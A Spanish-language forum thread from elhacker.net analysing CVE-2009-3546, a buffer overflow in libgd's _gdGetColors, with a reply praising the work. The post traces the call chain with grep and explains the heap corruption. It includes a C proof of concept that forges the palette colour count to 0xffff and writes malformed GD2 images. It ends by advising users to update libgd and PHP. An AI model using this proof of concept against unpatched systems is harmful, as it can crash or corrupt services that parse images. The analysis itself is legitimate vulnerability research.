elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:50  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [OB] CVE-2009-3546 - Analisis de libgd
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [OB] CVE-2009-3546 - Analisis de libgd  (Leído 1,288 veces)
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
[OB] CVE-2009-3546 - Analisis de libgd
« en: 22 Enero 2010, 09:39 »

Pues no les traigo nada nuevo, solo un análisis que tenia pendiente por publicar, espero y les guste:

Versión en PDF: CVE-2009-3546.pdf



libGD -- _gdGetColors buffer overflow


 El problema original fue reportado en PHP, pero la raíz de este esta en la biblioteca original libGD <= 2.0.35
 
En el advisory[1] menciona a la función _gdGetColors como causante de este problema al leer directamente del archivo gd la imagen y cargarla sin pasar por algún tipo de filtro bien implementado.
 
Si bien este problema ya tiene bastante tiempo septiembre de 2009. Si vemos en la pagina principal[2] de la biblioteca, la versión que ofrecen como estable es la versión 2.0.35




El punto aquí es que ya no deberían de tenerla en la pagina principal. Se que el fallo es viejo, sin embargo había hecho el análisis de el mismo hace tiempo.

Después de descargarnos el código fuente podremos comenzar con el análisis.

El primer paso que he seguido es buscar donde aparece _gdGetColors dentro de gd_gd2.c

Código
Anon@localhost % grep -n _gdGetColors gd_gd2.c 
59:extern int _gdGetColors (gdIOCtx * in, gdImagePtr im, int gd2xFlag);
225: if (!_gdGetColors (in, im, (*vers) == 2))
560: if (!_gdGetColors (in, im, vers == 2))

Vemos la función _gdGetColors es llamada desde las funciones _gd2CreateFromFile y gdImageCreateFromGd2PartCtx
 
La que nos interesa es la primera, ya que es el archivo el que vamos a cargar

Código
Anon@localhost % grep -n _gd2CreateFromFile gd_gd2.c 
200:_gd2CreateFromFile (gdIOCtxPtr in, int *sx, int *sy,
322:_gd2CreateFromFile (in, &sx, &sy, &cs, &vers, &fmt, &ncx, &ncy,

Ahora vemos que la linea 200 es el prototipo de función y que la linea 322 es la llamada a nuestra función y vemos que es llamada desde la función gdImageCreateFromGd2Ctx y si buscamos continuación:

Código
Anon@localhost % grep -n gdImageCreateFromGd2Ctx gd_gd2.c
285: im = gdImageCreateFromGd2Ctx (in);
296: im = gdImageCreateFromGd2Ctx (in);
301:BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
1066:BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)

Vemos 2 declaraciones la de la linea 1066 se crea en caso de que no tengamos soporte para archivos comprimidos.

Vemos quien llama a dicha función y vemos que es:

gdImageCreateFromGd2Ptr y gdImageCreateFromGd2 Si observamos la función gdImageCreateFromGd2 vemos que internamente también ejecuta el llamado a gdImageCreateFromGd2Ptr entonces basta que nos concentremos en gdImageCreateFromGd2

Entonces si nosotros ejecutamos a gdImageCreateFromGd2 como en el ejemplo siguiente código estaremos llamando a las funciones antes mencionadas

Existen ocasiones en las cuales en necesario ver a fondo todos los filtros por los que pasa nuestra entrada.

Código
/*
Anon elhacker.net
readGD.c
test libgd - gdImageCreateFromGd2
*/

 
#include<stdio.h>
#include"gd.h"
 
int main(){
gdImagePtr im;
FILE *in;
in = fopen("rect_u.gd", "rb");
im = gdImageCreateFromGd2(in);
if(gdImageTrueColor(im))
printf("true color!!\n");
else
printf("palette!!\n");
fclose(in);
gdImageDestroy(im);
}
 

El orden de las llamada internas en la biblioteca sera el siguiente
 
gdImageCreateFromGd2
gdImageCreateFromGd2Ctx
_gd2CreateFromFile
_gdGetColors
 
Después de crear un PoC que nos genere la imagen mal formada:

Código
/*
Anon@elhacker.net
createGD.c
test libgd - gdImageGd2
*/

 
#include<stdio.h>
#include<gd.h>
 
int main(){
gdImagePtr im;
int black, white;
FILE *out_c,*out_u;
im = gdImageCreate(100, 100);
white = gdImageColorAllocate(im, 255, 255, 255);
black = gdImageColorAllocate(im, 0, 0, 0);
gdImageRectangle(im, 0, 0, 99, 99, black);
printf("trueColor: 0x%x\n",im->trueColor);
printf("colorsTotal: 0x%x\n",im->colorsTotal);
 
im->colorsTotal = 0xffff ;
printf("colorsTotal: 0x%x\n",im->colorsTotal);
 
out_c = fopen("rect_c.gd", "wb");
out_u = fopen("rect_u.gd", "wb");
gdImageGd2(im, out_c, 0, GD2_FMT_COMPRESSED);
gdImageGd2(im, out_u, 0, GD2_FMT_RAW);
fclose(out_c);
fclose(out_u);
gdImageDestroy(im);
}

Una imagen vale mas que mil palabras:




 En este punto podremos analizar la función gdImageCreateFromGd2Ctx dentro de gd_gd2 para ver que es lo que esta pasando.

Código
 unsigned char **pixels;

Como este es un apuntador que apunta a los apuntadores de los pixeles vemos que al momento de leer la imagen la librería ejecuto lo siguiente en gd_gd.c linea 99:

Código
for (i = 0; (i < im->colorsTotal); i++) 
{
im->open[i] = 0;
};
 

En realidad es cualquier segmento que tenga como limite im->colorsTotal.
Si vemos parte de la estructura del apuntador gdImagePtr

 
Código
 typedef struct gdImageStruct
{
/* Palette-based image pixels */
unsigned char **pixels;
int sx;
int sy;
/* These are valid in palette images only. See also
'alpha', which appears later in the structure to
preserve binary backwards compatibility */

int colorsTotal;
int red[gdMaxColors];
int green[gdMaxColors];
int blue[gdMaxColors];
int open[gdMaxColors];
 

Vemos que open fue sobre escrito con 0 junto con todas las variables arriba de el así hasta colocar 4095 valores enteros en memoria eso incluyo sobrescribir todos los apuntadores a pixels que hubiese ahí, el valor máximo posible a introducir es 65535

También es posible hacer este fallo en PHP:



Conclusiones

La vulnerabilidad anterior no es grave sin embargo existen muchas similares en programas que no implementan buenos filtros, dado que las variables están alojadas heap esto debido a las llamadas a malloc es posible sobrescribir las mimas variables alojas continuamente en la memoria esto es, si estamos trabajando con varios apuntadores a gdImagePtr es posible que otras imágenes se vean afectadas. Es posible un Heap overflow, sin embargo en la mayoría de las ocasiones le programa se va a cerrar por algún error como el anterior y recordemos que este depende de como se encuentre implementado el algoritmo de malloc.

Recomendaciones

Actualizar libgd y php si cuentas con una versión vulnerable a este fallo.

Referencias:
 
 
« Última modificación: 22 Enero 2010, 21:44 por Anon » En línea

Bien Super Divertido
@wifigdlmx
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.203


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: [OB] CVE-2009-3546 - Analisis de libgd
« Respuesta #1 en: 22 Enero 2010, 13:15 »

buen trabajo
« Última modificación: 22 Enero 2010, 21:45 por Anon » En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines